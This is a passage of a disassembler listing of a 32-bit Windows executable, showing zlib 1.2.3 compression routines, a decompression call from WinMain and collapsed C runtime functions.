loc_604A2C sub edi, ds:dword_60C6F0[esi] push 10h pop esi sub esi, edx cmp ecx, esi jle short loc_604A1B mov edx, edi shl edx, cl mov ecx, [eax+8] mov [ebp+var_C], ebx or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov dl, [eax+16B9h] mov esi, [eax+14h] mov ebx, [ebp+var_C] mov [esi+ecx], dl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr di, cl mov ecx, [ebp+var_4] lea ecx, [edx+ecx-10h] mov [eax+16B8h], di jmp short loc_604A26 ; --------------------------------------------------------------------------- loc_604A1B: ; CODE XREF: sub_604726+2A1j shl edi, cl or [eax+16B8h], di add ecx, edx loc_604A26: ; CODE XREF: sub_604726+9Cj ; sub_604726+B0j ... mov [eax+16BCh], ecx loc_604A2C: ; CODE XREF: sub_604726+292j mov ecx, [ebp+var_10] cmp ecx, [eax+16A0h] jb loc_604740 loc_604A3B: ; CODE XREF: sub_604726+14j movzx edx, word ptr [ebx+402h] mov ecx, [eax+16BCh] push 10h pop esi sub esi, edx cmp ecx, esi mov [ebp+arg_0], edx jle short loc_604AAD movzx esi, word ptr [ebx+400h] mov edx, esi shl edx, cl mov ecx, [eax+8] mov [ebp+var_10], ebx or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov dl, [eax+16B9h] mov edi, [eax+14h] mov ebx, [ebp+var_10] mov [edi+ecx], dl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+arg_0] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si jmp short loc_604AC0 ; --------------------------------------------------------------------------- loc_604AAD: ; CODE XREF: sub_604726+32Cj mov si, [ebx+400h] shl si, cl or [eax+16B8h], si add ecx, edx loc_604AC0: ; CODE XREF: sub_604726+385j mov [eax+16BCh], ecx movzx ecx, word ptr [ebx+402h] pop edi pop esi mov [eax+16B4h], ecx pop ebx leave retn sub_604726 endp ; =============== S U B R O U T I N E ======================================= sub_604AD8 proc near ; CODE XREF: sub_604F24+23p xor eax, eax lea ecx, [edx+94h] loc_604AE0: ; CODE XREF: sub_604AD8+15j cmp word ptr [ecx], 0 jnz short loc_604AEF inc eax add ecx, 4 cmp eax, 9 jl short loc_604AE0 loc_604AEF: ; CODE XREF: sub_604AD8+Cj cmp eax, 9 jnz short loc_604B0C push 0Eh pop eax lea ecx, [edx+0CCh] loc_604AFD: ; CODE XREF: sub_604AD8+32j cmp word ptr [ecx], 0 jnz short loc_604B0C inc eax add ecx, 4 cmp eax, 20h jl short loc_604AFD loc_604B0C: ; CODE XREF: sub_604AD8+1Aj ; sub_604AD8+29j xor ecx, ecx cmp eax, 20h mov eax, [edx] setz cl mov [eax+2Ch], ecx retn sub_604AD8 endp ; =============== S U B R O U T I N E ======================================= sub_604B1A proc near ; CODE XREF: sub_604B71+9p ; sub_604F24+1E0j mov ecx, [eax+16BCh] cmp ecx, 8 push ebx jle short loc_604B4A mov edx, [eax+8] push esi mov esi, [eax+14h] lea ecx, [eax+16B8h] mov bl, [ecx] mov [edx+esi], bl inc dword ptr [eax+14h] mov esi, [eax+8] mov edx, [eax+14h] mov cl, [ecx+1] mov [edx+esi], cl pop esi jmp short loc_604B5D ; --------------------------------------------------------------------------- loc_604B4A: ; CODE XREF: sub_604B1A+Aj test ecx, ecx jle short loc_604B60 mov ecx, [eax+8] mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl loc_604B5D: ; CODE XREF: sub_604B1A+2Ej inc dword ptr [eax+14h] loc_604B60: ; CODE XREF: sub_604B1A+32j and word ptr [eax+16B8h], 0 and dword ptr [eax+16BCh], 0 pop ebx retn sub_604B1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604B71 proc near ; CODE XREF: sub_604E99+83p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push edi mov ebx, ecx mov edi, edx call sub_604B1A cmp [ebp+arg_0], 0 mov dword ptr [eax+16B4h], 8 jz short loc_604BC9 mov ecx, [eax+14h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov [ecx+edx], bh inc dword ptr [eax+14h] mov edx, [eax+8] push esi mov esi, [eax+14h] mov cl, bl not cl mov [esi+edx], cl inc dword ptr [eax+14h] mov esi, [eax+14h] mov edx, [eax+8] mov ecx, ebx not ecx mov [esi+edx], ch inc dword ptr [eax+14h] pop esi loc_604BC9: ; CODE XREF: sub_604B71+1Cj test ebx, ebx jz short loc_604BE5 loc_604BCD: ; CODE XREF: sub_604B71+72j mov ecx, [eax+14h] mov edx, [eax+8] mov [ebp+arg_0], ebx mov bl, [edi] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ebx, [ebp+arg_0] inc edi dec ebx jnz short loc_604BCD loc_604BE5: ; CODE XREF: sub_604B71+5Aj pop edi pop ebx pop ebp retn sub_604B71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604BE9 proc near ; CODE XREF: sub_604C57+1DBp var_20 = word ptr -20h var_1E = byte ptr -1Eh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi xor ecx, ecx push edi lea esi, [ebp+var_1E] xor edi, edi xor eax, eax inc ecx sub edx, esi loc_604BFD: ; CODE XREF: sub_604BE9+2Cj lea esi, [edx+ecx*2] movzx esi, [ebp+esi+var_20] add si, ax shl esi, 1 mov eax, esi mov [ebp+ecx*2+var_20], ax inc ecx cmp ecx, 0Fh jle short loc_604BFD cmp [ebp+arg_0], edi jl short loc_604C53 loc_604C1C: ; CODE XREF: sub_604BE9+68j movzx edx, word ptr [ebx+edi*4+2] test edx, edx jz short loc_604C4D lea eax, [ebp+edx*2+var_20] xor ecx, ecx mov cx, [eax] movzx esi, cx inc ecx mov [eax], cx xor eax, eax loc_604C37: ; CODE XREF: sub_604BE9+5Cj mov ecx, esi and ecx, 1 or eax, ecx shr esi, 1 shl eax, 1 dec edx test edx, edx jg short loc_604C37 shr eax, 1 mov [ebx+edi*4], ax loc_604C4D: ; CODE XREF: sub_604BE9+3Aj inc edi cmp edi, [ebp+arg_0] jle short loc_604C1C loc_604C53: ; CODE XREF: sub_604BE9+31j pop edi pop esi leave retn sub_604BE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604C57 proc near ; CODE XREF: sub_604E3C+2Ep ; sub_604F24+2Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_0] mov eax, [edx+8] mov ecx, [eax+0Ch] or [ebp+var_8], 0FFFFFFFFh push ebx mov ebx, [eax] xor eax, eax test ecx, ecx push edi mov edi, [edx] mov [ebp+var_4], ecx mov [esi+1450h], eax mov dword ptr [esi+1454h], 23Dh jle loc_604D0D loc_604C8D: ; CODE XREF: sub_604C57+67j cmp word ptr [edi+eax*4], 0 jz short loc_604CB4 inc dword ptr [esi+1450h] mov ecx, [esi+1450h] mov [esi+ecx*4+0B5Ch], eax mov [ebp+var_8], eax mov byte ptr [eax+esi+1458h], 0 jmp short loc_604CBA ; --------------------------------------------------------------------------- loc_604CB4: ; CODE XREF: sub_604C57+3Bj and word ptr [edi+eax*4+2], 0 loc_604CBA: ; CODE XREF: sub_604C57+5Bj inc eax cmp eax, [ebp+var_4] jl short loc_604C8D jmp short loc_604D0D ; --------------------------------------------------------------------------- loc_604CC2: ; CODE XREF: sub_604C57+BDj cmp [ebp+var_8], 2 jge short loc_604CD0 inc [ebp+var_8] mov eax, [ebp+var_8] jmp short loc_604CD2 ; --------------------------------------------------------------------------- loc_604CD0: ; CODE XREF: sub_604C57+6Fj xor eax, eax loc_604CD2: ; CODE XREF: sub_604C57+77j inc dword ptr [esi+1450h] mov ecx, [esi+1450h] mov [esi+ecx*4+0B5Ch], eax mov ecx, eax shl ecx, 2 mov word ptr [ecx+edi], 1 mov byte ptr [esi+eax+1458h], 0 dec dword ptr [esi+16A8h] test ebx, ebx jz short loc_604D0D movzx eax, word ptr [ecx+ebx+2] sub [esi+16ACh], eax loc_604D0D: ; CODE XREF: sub_604C57+30j ; sub_604C57+69j ... cmp dword ptr [esi+1450h], 2 jl short loc_604CC2 mov eax, [ebp+var_8] mov [edx+4], eax mov eax, [esi+1450h] cdq sub eax, edx mov ebx, eax sar ebx, 1 jmp short loc_604D35 ; --------------------------------------------------------------------------- loc_604D2B: ; CODE XREF: sub_604C57+E1j push ebx mov eax, esi call sub_603D2C pop ecx dec ebx loc_604D35: ; CODE XREF: sub_604C57+D2j cmp ebx, 1 jge short loc_604D2B mov eax, [ebp+var_4] mov [ebp+var_C], eax loc_604D40: ; CODE XREF: sub_604C57+1A7j mov eax, [esi+1450h] mov ecx, [esi+eax*4+0B5Ch] mov ebx, [esi+0B60h] dec eax mov [esi+1450h], eax push 1 mov eax, esi mov [esi+0B60h], ecx call sub_603D2C dec dword ptr [esi+1454h] mov eax, [esi+0B60h] pop ecx mov ecx, [esi+1454h] mov [esi+ecx*4+0B5Ch], ebx dec dword ptr [esi+1454h] mov ecx, [esi+1454h] mov [esi+ecx*4+0B5Ch], eax lea ecx, [edi+eax*4] mov [ebp+var_10], ecx mov cx, [ecx] lea edx, [edi+ebx*4] add cx, [edx] mov [ebp+var_14], edx mov dx, cx mov ecx, [ebp+var_C] mov [edi+ecx*4], dx mov bl, [esi+ebx+1458h] mov al, [esi+eax+1458h] cmp bl, al jb short loc_604DC9 movzx eax, bl jmp short loc_604DCC ; --------------------------------------------------------------------------- loc_604DC9: ; CODE XREF: sub_604C57+16Bj movzx eax, al loc_604DCC: ; CODE XREF: sub_604C57+170j inc al mov [esi+ecx+1458h], al mov eax, [ebp+var_10] mov [eax+2], cx mov eax, [ebp+var_14] mov [eax+2], cx mov [esi+0B60h], ecx inc ecx push 1 mov eax, esi mov [ebp+var_C], ecx call sub_603D2C cmp dword ptr [esi+1450h], 2 pop ecx jge loc_604D40 dec dword ptr [esi+1454h] mov eax, [esi+1454h] mov ecx, [esi+0B60h] mov [esi+eax*4+0B5Ch], ecx mov eax, [ebp+arg_0] mov edx, esi call sub_603DDC push [ebp+var_8] lea edx, [esi+0B3Ch] mov ebx, edi call sub_604BE9 pop ecx pop edi pop ebx leave retn sub_604C57 endp ; =============== S U B R O U T I N E ======================================= sub_604E3C proc near ; CODE XREF: sub_604F24+44p push esi mov esi, eax mov ecx, [esi+0B1Ch] lea eax, [esi+94h] push esi call sub_603F94 mov ecx, [esi+0B28h] lea eax, [esi+988h] push esi call sub_603F94 lea eax, [esi+0B30h] push eax call sub_604C57 add esp, 0Ch push 12h pop eax loc_604E75: ; CODE XREF: sub_604E3C+4Fj movzx ecx, ds:byte_60BE6C[eax] cmp word ptr [esi+ecx*4+0A7Eh], 0 jnz short loc_604E8D dec eax cmp eax, 3 jge short loc_604E75 loc_604E8D: ; CODE XREF: sub_604E3C+49j lea ecx, [eax+eax*2+11h] add [esi+16A8h], ecx pop esi retn sub_604E3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604E99 proc near ; CODE XREF: sub_604F24+82p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+16BCh] cmp ecx, 0Dh jle short loc_604EFF push ebx push esi mov esi, [ebp+arg_C] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si pop esi pop ebx jmp short loc_604F14 ; --------------------------------------------------------------------------- loc_604EFF: ; CODE XREF: sub_604E99+Fj mov edx, [ebp+arg_C] shl edx, cl or [eax+16B8h], dx add ecx, 3 mov [eax+16BCh], ecx loc_604F14: ; CODE XREF: sub_604E99+64j mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] push 1 call sub_604B71 pop ecx pop ebp retn sub_604E99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604F24 proc near ; CODE XREF: sub_60197B+64p ; sub_60197B+A5p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor eax, eax cmp [esi+84h], eax push edi mov edi, [ebp+arg_8] jle short loc_604F8B cmp edi, eax jbe short loc_604F4C mov eax, [esi] cmp dword ptr [eax+2Ch], 2 jnz short loc_604F4C mov edx, esi call sub_604AD8 loc_604F4C: ; CODE XREF: sub_604F24+17j ; sub_604F24+1Fj lea eax, [esi+0B18h] push eax call sub_604C57 lea eax, [esi+0B24h] push eax call sub_604C57 pop ecx pop ecx mov eax, esi call sub_604E3C mov edx, [esi+16A8h] mov ecx, [esi+16ACh] add edx, 0Ah add ecx, 0Ah shr edx, 3 shr ecx, 3 cmp ecx, edx ja short loc_604F90 jmp short loc_604F8E ; --------------------------------------------------------------------------- loc_604F8B: ; CODE XREF: sub_604F24+13j lea ecx, [edi+5] loc_604F8E: ; CODE XREF: sub_604F24+65j mov edx, ecx loc_604F90: ; CODE XREF: sub_604F24+63j push ebx lea ebx, [edi+4] cmp ebx, edx ja short loc_604FB3 cmp [ebp+arg_4], 0 jz short loc_604FB3 push [ebp+arg_C] push edi push [ebp+arg_4] push esi call sub_604E99 add esp, 10h jmp loc_6050F3 ; --------------------------------------------------------------------------- loc_604FB3: ; CODE XREF: sub_604F24+72j ; sub_604F24+78j cmp dword ptr [esi+88h], 4 jz loc_60506F cmp ecx, edx jz loc_60506F mov edx, [ebp+arg_C] mov ecx, [esi+16BCh] add edx, 4 cmp ecx, 0Dh jle short loc_605027 mov edi, edx shl edi, cl mov ecx, [esi+8] or [esi+16B8h], di mov edi, [esi+14h] mov bl, [esi+16B8h] mov [ecx+edi], bl inc dword ptr [esi+14h] mov ecx, [esi+14h] mov bl, [esi+16B9h] mov edi, [esi+8] mov [ecx+edi], bl mov ebx, [esi+16BCh] inc dword ptr [esi+14h] mov cl, 10h sub cl, bl shr dx, cl add ebx, 0FFFFFFF3h mov [esi+16BCh], ebx mov [esi+16B8h], dx jmp short loc_605039 ; --------------------------------------------------------------------------- loc_605027: ; CODE XREF: sub_604F24+B3j shl edx, cl or [esi+16B8h], dx add ecx, 3 mov [esi+16BCh], ecx loc_605039: ; CODE XREF: sub_604F24+101j inc eax push eax mov eax, [esi+0B28h] inc eax push eax mov eax, [esi+0B1Ch] inc eax push eax mov eax, esi call sub_6044ED lea eax, [esi+988h] push eax lea eax, [esi+94h] push eax mov eax, esi call sub_604726 add esp, 14h jmp loc_6050F3 ; --------------------------------------------------------------------------- loc_60506F: ; CODE XREF: sub_604F24+96j ; sub_604F24+9Ej mov eax, [ebp+arg_C] mov ecx, [esi+16BCh] add eax, 2 cmp ecx, 0Dh jle short loc_6050CE mov edx, eax shl edx, cl mov ecx, [esi+8] or [esi+16B8h], dx mov edx, [esi+14h] mov bl, [esi+16B8h] mov [ecx+edx], bl inc dword ptr [esi+14h] mov ecx, [esi+14h] mov edx, [esi+8] mov bl, [esi+16B9h] mov [ecx+edx], bl mov edx, [esi+16BCh] inc dword ptr [esi+14h] mov cl, 10h sub cl, dl shr ax, cl add edx, 0FFFFFFF3h mov [esi+16BCh], edx mov [esi+16B8h], ax jmp short loc_6050E0 ; --------------------------------------------------------------------------- loc_6050CE: ; CODE XREF: sub_604F24+15Aj shl eax, cl or [esi+16B8h], ax add ecx, 3 mov [esi+16BCh], ecx loc_6050E0: ; CODE XREF: sub_604F24+1A8j push offset dword_60C300 push offset dword_60BE80 mov eax, esi call sub_604726 pop ecx pop ecx loc_6050F3: ; CODE XREF: sub_604F24+8Aj ; sub_604F24+146j mov eax, esi call sub_603CCE cmp [ebp+arg_C], 0 pop ebx pop edi jz short loc_605109 pop esi pop ebp jmp sub_604B1A ; --------------------------------------------------------------------------- loc_605109: ; CODE XREF: sub_604F24+1DCj pop esi pop ebp retn sub_604F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60510C proc near ; CODE XREF: WinMain(x,x,x,x)+B5p var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] and [ebp+var_18], 0 and [ebp+var_14], 0 mov [ebp+var_38], eax mov eax, [ebp+arg_C] mov [ebp+var_34], eax mov eax, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov [ebp+var_2C], eax mov eax, [esi] push 38h mov [ebp+var_28], eax lea eax, [ebp+var_38] push offset a1_2_3 ; "1.2.3" push eax call sub_60260B add esp, 0Ch test eax, eax jnz short loc_605194 push edi lea eax, [ebp+var_38] push 4 push eax call sub_6026FA mov edi, eax cmp edi, 1 pop ecx pop ecx jz short loc_605184 lea eax, [ebp+var_38] push eax call sub_6038DE cmp edi, 2 pop ecx jz short loc_60517F cmp edi, 0FFFFFFFBh jnz short loc_60517B cmp [ebp+var_34], 0 jz short loc_60517F loc_60517B: ; CODE XREF: sub_60510C+67j mov eax, edi jmp short loc_605193 ; --------------------------------------------------------------------------- loc_60517F: ; CODE XREF: sub_60510C+62j ; sub_60510C+6Dj push 0FFFFFFFDh pop eax jmp short loc_605193 ; --------------------------------------------------------------------------- loc_605184: ; CODE XREF: sub_60510C+53j mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_6038DE pop ecx loc_605193: ; CODE XREF: sub_60510C+71j ; sub_60510C+76j pop edi loc_605194: ; CODE XREF: sub_60510C+3Ej pop esi leave retn sub_60510C endp ; =============== S U B R O U T I N E ======================================= sub_605197 proc near ; DATA XREF: sub_602557+34o arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] imul eax, [esp+arg_8] push eax ; Size call _malloc pop ecx retn sub_605197 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_6051A8(int,void *Memory) sub_6051A8 proc near ; DATA XREF: sub_602557+43o Memory = dword ptr 8 push [esp+Memory] ; Memory call _free pop ecx retn sub_6051A8 endp ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h __allmul: mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_6059A9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_6059A9: ; CODE XREF: .text:0060599Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_607028 proc near ; CODE XREF: start:loc_605811p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_60CC48 call __SEH_prolog mov [ebp+var_1C], offset dword_60D43C loc_60703B: ; CODE XREF: sub_607028+3Cj cmp [ebp+var_1C], offset dword_60D43C jnb short loc_607066 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_60705C call eax jmp short loc_60705C ; --------------------------------------------------------------------------- loc_607055: ; DATA XREF: .rdata:stru_60CC48o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_607059: ; DATA XREF: .rdata:stru_60CC48o mov esp, [ebp+ms_exc.old_esp] loc_60705C: ; CODE XREF: sub_607028+27j ; sub_607028+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_60703B ; --------------------------------------------------------------------------- loc_607066: ; CODE XREF: sub_607028+1Aj call __SEH_epilog retn sub_607028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void sub_60706C(void) sub_60706C proc near ; DATA XREF: __cinit:loc_6065D8o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_60CC58 call __SEH_prolog mov [ebp+var_1C], offset dword_60D444 loc_60707F: ; CODE XREF: sub_60706C+3Cj cmp [ebp+var_1C], offset dword_60D444 jnb short loc_6070AA and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_6070A0 call eax jmp short loc_6070A0 ; --------------------------------------------------------------------------- loc_607099: ; DATA XREF: .rdata:stru_60CC58o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_60709D: ; DATA XREF: .rdata:stru_60CC58o mov esp, [ebp+ms_exc.old_esp] loc_6070A0: ; CODE XREF: sub_60706C+27j ; sub_60706C+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_60707F ; --------------------------------------------------------------------------- loc_6070AA: ; CODE XREF: sub_60706C+1Aj call __SEH_epilog retn sub_60706C endp ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_607FC5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_607FB1 proc near ; DATA XREF: .rdata:stru_60D1F0o xor eax, eax inc eax retn sub_607FB1 endp ; =============== S U B R O U T I N E ======================================= sub_607FB5 proc near ; DATA XREF: .rdata:stru_60D1F0o mov esp, [ebp-18h] sub_607FB5 endp ; sp-analysis failed ; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_607FC5. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION sub_607FC5. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_612AD4 jmp short loc_6080F8 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION 